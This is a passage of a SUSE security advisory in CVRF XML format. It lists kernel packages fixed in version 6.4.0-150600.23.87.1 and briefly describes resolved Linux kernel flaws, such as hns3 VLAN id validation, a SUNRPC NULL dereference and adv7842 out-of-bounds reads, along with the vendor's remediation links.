        <ProductID>openSUSE Leap 15.6:kernel-default-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-html-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-qa-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-vanilla-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
      </Status>
    </ProductStatuses>
    <Threats>
      <Threat Type="Impact">
        <Description>important</Description>
      </Threat>
    </Threats>
    <Remediations>
      <Remediation Type="Vendor Fix">
        <Description xml:lang="en">To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
</Description>
        <URL>https://www.suse.com/support/update/announcement/2026/suse-su-20260471-1/</URL>
      </Remediation>
    </Remediations>
    <References>
      <Reference>
        <URL>https://www.suse.com/security/cve/CVE-2025-71111.html</URL>
        <Description>CVE-2025-71111</Description>
      </Reference>
      <Reference>
        <URL>https://bugzilla.suse.com/1256728</URL>
        <Description>SUSE Bug 1256728</Description>
      </Reference>
    </References>
  </Vulnerability>
  <Vulnerability xmlns="http://www.icasi.org/CVRF/schema/vuln/1.1" Ordinal="32">
    <Notes>
      <Note Title="Vulnerability Description" Type="General" Ordinal="1" xml:lang="en">In the Linux kernel, the following vulnerability has been resolved:

net: hns3: add VLAN id validation before using

Currently, the VLAN id may be used without validation when
receive a VLAN configuration mailbox from VF. The length of
vlan_del_fail_bmap is BITS_TO_LONGS(VLAN_N_VID). It may cause
out-of-bounds memory access once the VLAN id is bigger than
or equal to VLAN_N_VID.

Therefore, VLAN id needs to be checked to ensure it is within
the range of VLAN_N_VID.</Note>
    </Notes>
    <CVE>CVE-2025-71112</CVE>
    <ProductStatuses>
      <Status Type="Fixed">
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-livepatch-6_4_0-150600_23_87-default-1-150600.13.3.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-allwinner-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-altera-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amazon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amlogic-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apple-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-arm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-broadcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-cavium-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-exynos-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-freescale-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-hisilicon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-lg-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-marvell-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-mediatek-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-nvidia-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-qcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-renesas-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-rockchip-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-socionext-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-sprd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-xilinx-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-rebuild-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-html-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-qa-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-vanilla-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
      </Status>
    </ProductStatuses>
    <Threats>
      <Threat Type="Impact">
        <Description>important</Description>
      </Threat>
    </Threats>
    <Remediations>
      <Remediation Type="Vendor Fix">
        <Description xml:lang="en">To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
</Description>
        <URL>https://www.suse.com/support/update/announcement/2026/suse-su-20260471-1/</URL>
      </Remediation>
    </Remediations>
    <References>
      <Reference>
        <URL>https://www.suse.com/security/cve/CVE-2025-71112.html</URL>
        <Description>CVE-2025-71112</Description>
      </Reference>
      <Reference>
        <URL>https://bugzilla.suse.com/1256726</URL>
        <Description>SUSE Bug 1256726</Description>
      </Reference>
      <Reference>
        <URL>https://bugzilla.suse.com/1256727</URL>
        <Description>SUSE Bug 1256727</Description>
      </Reference>
    </References>
  </Vulnerability>
  <Vulnerability xmlns="http://www.icasi.org/CVRF/schema/vuln/1.1" Ordinal="33">
    <Notes>
      <Note Title="Vulnerability Description" Type="General" Ordinal="1" xml:lang="en">In the Linux kernel, the following vulnerability has been resolved:

SUNRPC: svcauth_gss: avoid NULL deref on zero length gss_token in gss_read_proxy_verf

A zero length gss_token results in pages == 0 and in_token-&gt;pages[0]
is NULL. The code unconditionally evaluates
page_address(in_token-&gt;pages[0]) for the initial memcpy, which can
dereference NULL even when the copy length is 0. Guard the first
memcpy so it only runs when length &gt; 0.</Note>
    </Notes>
    <CVE>CVE-2025-71120</CVE>
    <ProductStatuses>
      <Status Type="Fixed">
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-livepatch-6_4_0-150600_23_87-default-1-150600.13.3.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-allwinner-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-altera-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amazon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amlogic-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apple-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-arm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-broadcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-cavium-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-exynos-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-freescale-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-hisilicon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-lg-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-marvell-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-mediatek-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-nvidia-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-qcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-renesas-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-rockchip-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-socionext-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-sprd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-xilinx-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-rebuild-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-html-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-qa-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-vanilla-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
      </Status>
    </ProductStatuses>
    <Threats>
      <Threat Type="Impact">
        <Description>important</Description>
      </Threat>
    </Threats>
    <Remediations>
      <Remediation Type="Vendor Fix">
        <Description xml:lang="en">To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
</Description>
        <URL>https://www.suse.com/support/update/announcement/2026/suse-su-20260471-1/</URL>
      </Remediation>
    </Remediations>
    <References>
      <Reference>
        <URL>https://www.suse.com/security/cve/CVE-2025-71120.html</URL>
        <Description>CVE-2025-71120</Description>
      </Reference>
      <Reference>
        <URL>https://bugzilla.suse.com/1256779</URL>
        <Description>SUSE Bug 1256779</Description>
      </Reference>
      <Reference>
        <URL>https://bugzilla.suse.com/1256780</URL>
        <Description>SUSE Bug 1256780</Description>
      </Reference>
    </References>
  </Vulnerability>
  <Vulnerability xmlns="http://www.icasi.org/CVRF/schema/vuln/1.1" Ordinal="34">
    <Notes>
      <Note Title="Vulnerability Description" Type="General" Ordinal="1" xml:lang="en">In the Linux kernel, the following vulnerability has been resolved:

media: adv7842: Avoid possible out-of-bounds array accesses in adv7842_cp_log_status()

It's possible for cp_read() and hdmi_read() to return -EIO. Those
values are further used as indexes for accessing arrays.

Fix that by checking return values where it's needed.

Found by Linux Verification Center (linuxtesting.org) with SVACE.</Note>
    </Notes>
    <CVE>CVE-2025-71136</CVE>
    <ProductStatuses>
      <Status Type="Fixed">
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-livepatch-6_4_0-150600_23_87-default-1-150600.13.3.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-docs-6.4.0-150600.23.87.1</ProductID>
